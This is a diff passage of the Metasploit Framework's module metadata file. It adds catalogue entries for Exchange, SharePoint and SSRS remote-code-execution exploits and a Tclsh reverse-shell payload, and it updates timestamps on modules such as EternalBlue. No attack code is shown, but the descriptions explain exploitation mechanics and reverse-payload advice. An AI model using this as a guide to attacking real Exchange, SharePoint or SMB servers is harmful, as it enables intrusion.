"exploit_windows/http/dup_scout_enterprise_login_bof": {
|
||||
"name": "Dup Scout Enterprise Login Buffer Overflow",
|
||||
"fullname": "exploit/windows/http/dup_scout_enterprise_login_bof",
|
||||
@@ -119107,6 +120104,67 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_ecp_viewstate": {
|
||||
"name": "Exchange Control Panel ViewState Deserialization",
|
||||
"fullname": "exploit/windows/http/exchange_ecp_viewstate",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-02-11",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "This module exploits a .NET serialization vulnerability in the\n Exchange Control Panel (ECP) web page. The vulnerability is due to\n Microsoft Exchange Server not randomizing the keys on a\n per-installation basis resulting in them using the same validationKey\n and decryptionKey values. With knowledge of these, values an attacker\n can craft a special ViewState to cause an OS command to be executed\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.",
|
||||
"references": [
|
||||
"CVE-2020-0688",
|
||||
"URL-https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows (x86)",
|
||||
"Windows (x64)",
|
||||
"Windows (cmd)"
|
||||
],
|
||||
"mod_time": "2020-03-12 18:26:01 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_ecp_viewstate.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_ecp_viewstate",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/ezserver_http": {
|
||||
"name": "EZHomeTech EzServer Stack Buffer Overflow Vulnerability",
|
||||
"fullname": "exploit/windows/http/ezserver_http",
|
||||
@@ -119237,7 +120295,7 @@
|
||||
"targets": [
|
||||
"Windows Vista / Windows 7 (x86)"
|
||||
],
|
||||
"mod_time": "2019-10-08 11:44:41 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/http/file_sharing_wizard_seh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/file_sharing_wizard_seh",
|
||||
@@ -124018,6 +125076,68 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/sharepoint_workflows_xoml": {
|
||||
"name": "SharePoint Workflows XOML Injection",
|
||||
"fullname": "exploit/windows/http/sharepoint_workflows_xoml",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-03-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"Soroush Dalili"
|
||||
],
|
||||
"description": "This module exploits a vulnerability within SharePoint and its .NET backend\n that allows an attacker to execute commands using specially crafted XOML data\n sent to SharePoint via the Workflows functionality.",
|
||||
"references": [
|
||||
"CVE-2020-0646",
|
||||
"URL-https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows EXE Dropper",
|
||||
"Windows Command",
|
||||
"Windows Powershell"
|
||||
],
|
||||
"mod_time": "2020-03-24 17:14:47 +0000",
|
||||
"path": "/modules/exploits/windows/http/sharepoint_workflows_xoml.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/sharepoint_workflows_xoml",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/shoutcast_format": {
|
||||
"name": "SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow",
|
||||
"fullname": "exploit/windows/http/shoutcast_format",
|
||||
@@ -124287,6 +125407,68 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/ssrs_navcorrector_viewstate": {
|
||||
"name": "SQL Server Reporting Services (SSRS) ViewState Deserialization",
|
||||
"fullname": "exploit/windows/http/ssrs_navcorrector_viewstate",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-02-11",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Soroush Dalili",
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "A vulnerability exists within Microsoft's SQL Server Reporting Services\n which can allow an attacker to craft an HTTP POST request with a\n serialized object to achieve remote code execution. The vulnerability is\n due to the fact that the serialized blob is not signed by the server.",
|
||||
"references": [
|
||||
"CVE-2020-0618",
|
||||
"URL-https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows (x86)",
|
||||
"Windows (x64)",
|
||||
"Windows (cmd)"
|
||||
],
|
||||
"mod_time": "2020-03-09 11:43:26 +0000",
|
||||
"path": "/modules/exploits/windows/http/ssrs_navcorrector_viewstate.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/ssrs_navcorrector_viewstate",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/steamcast_useragent": {
|
||||
"name": "Streamcast HTTP User-Agent Buffer Overflow",
|
||||
"fullname": "exploit/windows/http/steamcast_useragent",
|
||||
@@ -125316,7 +126498,7 @@
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/iis/iis_webdav_scstoragepathfromurl": {
|
||||
"name": " Microsoft IIS WebDav ScStoragePathFromUrl Overflow",
|
||||
"name": "Microsoft IIS WebDav ScStoragePathFromUrl Overflow",
|
||||
"fullname": "exploit/windows/iis/iis_webdav_scstoragepathfromurl",
|
||||
"aliases": [
|
||||
|
||||
@@ -125361,7 +126543,7 @@
|
||||
"targets": [
|
||||
"Microsoft Windows Server 2003 R2 SP2 x86"
|
||||
],
|
||||
"mod_time": "2018-08-27 13:11:22 +0000",
|
||||
"mod_time": "2020-03-12 01:12:00 +0000",
|
||||
"path": "/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/iis_webdav_scstoragepathfromurl",
|
||||
@@ -131088,7 +132270,7 @@
|
||||
"author": [
|
||||
"Manuel Feifel"
|
||||
],
|
||||
"description": "This module will execute an arbitrary payload on an \"ESEL\" server used by the\n AIS logistic software. The server typically listens on port 5099 without TLS.\n There could also be server listening on 5100 with TLS but the port 5099 is\n usually always open.\n The login process is vulnerable to an SQL Injection. Usually a MSSQL Server\n with the 'sa' user is in place.\n\n This module was verified on version 67 but it should also run on lower versions.\n An fixed version was created by AIS in September 2017. However most systems\n have not been updated.\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload. You want a \"reverse\" payload,\n probably to your port 80 or to any other outbound port allowed on the firewall.\n\n Currently, one delivery method is supported\n\n This method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.",
|
||||
"description": "This module will execute an arbitrary payload on an \"ESEL\" server used by the\n AIS logistic software. The server typically listens on port 5099 without TLS.\n There could also be server listening on 5100 with TLS but the port 5099 is\n usually always open.\n The login process is vulnerable to an SQL Injection. Usually a MSSQL Server\n with the 'sa' user is in place.\n\n This module was verified on version 67 but it should also run on lower versions.\n An fixed version was created by AIS in September 2017. However most systems\n have not been updated.\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload. You want a \"reverse\" payload,\n probably to your port 80 or to any other outbound port allowed on the firewall.\n\n Currently, one delivery method is supported\n\n This method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.",
|
||||
"references": [
|
||||
"CVE-2019-10123"
|
||||
],
|
||||
@@ -131104,7 +132286,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-02-26 10:39:50 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/misc/ais_esel_server_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/ais_esel_server_rce",
|
||||
@@ -132165,7 +133347,7 @@
|
||||
"agalway-r7",
|
||||
"adfoster-r7"
|
||||
],
|
||||
"description": "Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,\n triggering a stack buffer overflow.",
|
||||
"description": "Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,\n triggering a stack buffer overflow.",
|
||||
"references": [
|
||||
"CVE-2019-12518",
|
||||
"URL-https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html",
|
||||
@@ -132183,7 +133365,7 @@
|
||||
"targets": [
|
||||
"Crosschex Standard x86 <= V4.3.12"
|
||||
],
|
||||
"mod_time": "2020-02-18 23:18:45 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/misc/crosschex_device_bof.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/crosschex_device_bof",
|
||||
@@ -140130,7 +141312,7 @@
|
||||
"Shadow Brokers",
|
||||
"thelightcosine"
|
||||
],
|
||||
"description": "This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.",
|
||||
"description": "This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.",
|
||||
"references": [
|
||||
"MSB-MS17-010",
|
||||
"CVE-2017-0143",
|
||||
@@ -140153,7 +141335,7 @@
|
||||
"targets": [
|
||||
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
|
||||
],
|
||||
"mod_time": "2019-10-30 22:20:36 +0000",
|
||||
"mod_time": "2020-03-09 09:22:01 +0000",
|
||||
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/smb/ms17_010_eternalblue",
|
||||
@@ -141346,7 +142528,7 @@
|
||||
"author": [
|
||||
"MC <mc@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a stack buffer overflow in GoodTech Systems Telnet Server\n versions prior to 5.0.7. By sending an overly long string, an attacker can\n overwrite the buffer and control program execution.",
|
||||
"description": "This module exploits a stack buffer overflow in GoodTech Systems Telnet Server\n versions prior to 5.0.7. By sending an overly long string, an attacker can\n overwrite the buffer and control program execution.",
|
||||
"references": [
|
||||
"CVE-2005-0768",
|
||||
"OSVDB-14806",
|
||||
@@ -141365,7 +142547,7 @@
|
||||
"Windows 2000 Pro English All",
|
||||
"Windows XP Pro SP0/SP1 English"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/telnet/goodtech_telnet.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/telnet/goodtech_telnet",
|
||||
@@ -143026,7 +144208,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
|
||||
@@ -143061,7 +144243,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
|
||||
@@ -143096,7 +144278,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -143164,7 +144346,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
|
||||
@@ -143199,7 +144381,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
|
||||
@@ -143234,7 +144416,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
|
||||
@@ -145887,6 +147069,39 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/unix/reverse_tclsh": {
|
||||
"name": "Unix Command Shell, Reverse TCP (via Tclsh)",
|
||||
"fullname": "payload/cmd/unix/reverse_tclsh",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "Creates an interactive shell via Tclsh",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-03-26 20:27:01 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_tclsh",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/unix/reverse_zsh": {
|
||||
"name": "Unix Command Shell, Reverse TCP (via Zsh)",
|
||||
"fullname": "payload/cmd/unix/reverse_zsh",
|
||||
@@ -146349,7 +147564,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-02-21 06:53:37 +0000",
|
||||
"mod_time": "2020-02-23 19:23:02 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/reverse_powershell",
|
||||
@@ -147024,7 +148239,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_http",
|
||||
@@ -147059,7 +148274,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_https",
|
||||
@@ -147094,7 +148309,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -147195,7 +148410,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_http",
|
||||
@@ -147230,7 +148445,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_https",
|
||||
@@ -147265,7 +148480,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
|
||||
@@ -147468,7 +148683,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_http",
|
||||
@@ -147503,7 +148718,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_https",
|
||||
@@ -147538,7 +148753,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_tcp",
|
||||
@@ -147707,7 +148922,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_http",
|
||||
@@ -147742,7 +148957,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_https",
|
||||
@@ -147777,7 +148992,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
|
||||
@@ -147881,7 +149096,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
|
||||
@@ -147916,7 +149131,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
|
||||
@@ -147951,7 +149166,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
|
||||
@@ -148193,7 +149408,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_http",
|
||||
@@ -148228,7 +149443,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_https",
|
||||
@@ -148263,7 +149478,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
|
||||
@@ -148436,7 +149651,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_http",
|
||||
@@ -148471,7 +149686,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_https",
|
||||
@@ -148506,7 +149721,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
|
||||
@@ -148739,7 +149954,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
|
||||
@@ -148774,7 +149989,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
|
||||
@@ -148809,7 +150024,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-30 15:30:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
|
||||
@@ -148844,7 +150059,7 @@
|
||||
"autofilter_ports": null,
|
||||
